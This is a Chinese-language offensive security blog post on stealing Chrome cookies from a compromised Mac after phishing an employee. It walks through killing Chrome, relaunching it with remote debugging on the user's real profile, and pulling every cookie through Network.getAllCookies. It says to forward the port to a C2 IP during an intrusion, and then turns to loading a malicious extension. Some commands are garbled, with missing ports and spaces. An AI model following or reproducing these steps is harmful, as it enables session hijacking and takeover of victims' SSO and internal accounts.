声明:本文仅限于技术讨论与分享,严禁用于非法途径。
前言
Windows系统密码和cookie获取比较容易,用工具即可,但Mac下浏览器密码获取较难。
当我们通过钓鱼等方式拿到单位员工的个人PC机时,通常需要对主机进行信息收集。而浏览器是一个重要的信息收集点。我们可以收集历史记录、书签寻找靶机。窃取密码登录SSO、内部OA等等关键系统。但是在MAC下,因为系统的安全性,想要获取密码存在比较大的困难。
在macOS上,GoogleChrome的加密密钥存储在Keychain中,需要使用用户的明文密码解锁。
在Windows上,GoogleChrome版本80+使用使用DPAPI加密的AES-密钥加密cookie。解密时不需密码。
windows下密码和cookie获取比较容易,一般上工具(HackBrowserData)就行,这里不多说。mac下的浏览器密码不好获取。mac下因为系统安全性受限,使用相关工具会弹输入用户密码的框。看下面的弹窗提示,一下就暴露了,一般人也不会点允许。
因此我们得曲线救国,比如说获取cookie。这里提供两种方法:
思路一:无头浏览器远程调试
为了便于调试和自动化,chrome内核的浏览器支持远程调试,然后可以直接调用调试接口获取cookie。网上的资料几乎大都是使用--headless无头模式利用,但本人在macpro、最新版chrome浏览器却无法复现。
使用headless无头浏览器模式会爆如下的错误:
在一个老外的文章里找到了原因:
然后curl接口,不并无相关数据显示
1、网络安全学习路线2、电子书籍(白帽子)3、安全大厂内部视频4、份src文档5、常见安全面试题6、ctf大赛经典题目解析7、全套工具包8、应急响应笔记
第一步
psaux
grepChrome观察浏览器是否在运行。
若浏览器在运行,执行:killall"GoogleChrome"杀掉浏览器进程
马上在第二步命令后加上--restore-last-session,还原浏览器最近浏览的选项卡。
若浏览器未在运行,直接执行第二步,获取到cookie后杀掉进程即可
第二步
启动chrome内核浏览器,开启指定调试端口
/Applications/Google\Chrome.app/Contents/MacOS/Google\Chrome--remote-debugging-port=--user-data-dir="/Users/用户名/Library/ApplicationSupport/Google/Chrome"
第三步
查看调试端口
curl-slocalhost:/json
第四步
使用相关websocket工具(这里为了方便演示,直接使用了插件SimpleWebSocketClient,入侵时候把调试端口用代理转发到本地,localhost改成c2ip就好。若不想代理,命令行下websocket的相关工具还有wsc、python模块等),
从第三步获取的结果中,任选一个webSocketDebuggerUrl,发送{"id":1,"method":"Network.getAllCookies"}
成功获取所有cookie
思路二:命令行加载恶意拓展
第二个思路来源是网上看到新闻,存在chrome恶意插件盗取用户的cookie,因此查找相关资料进行学习。
令人惊喜的是,有位师傅github有直接写好获取cookie的插件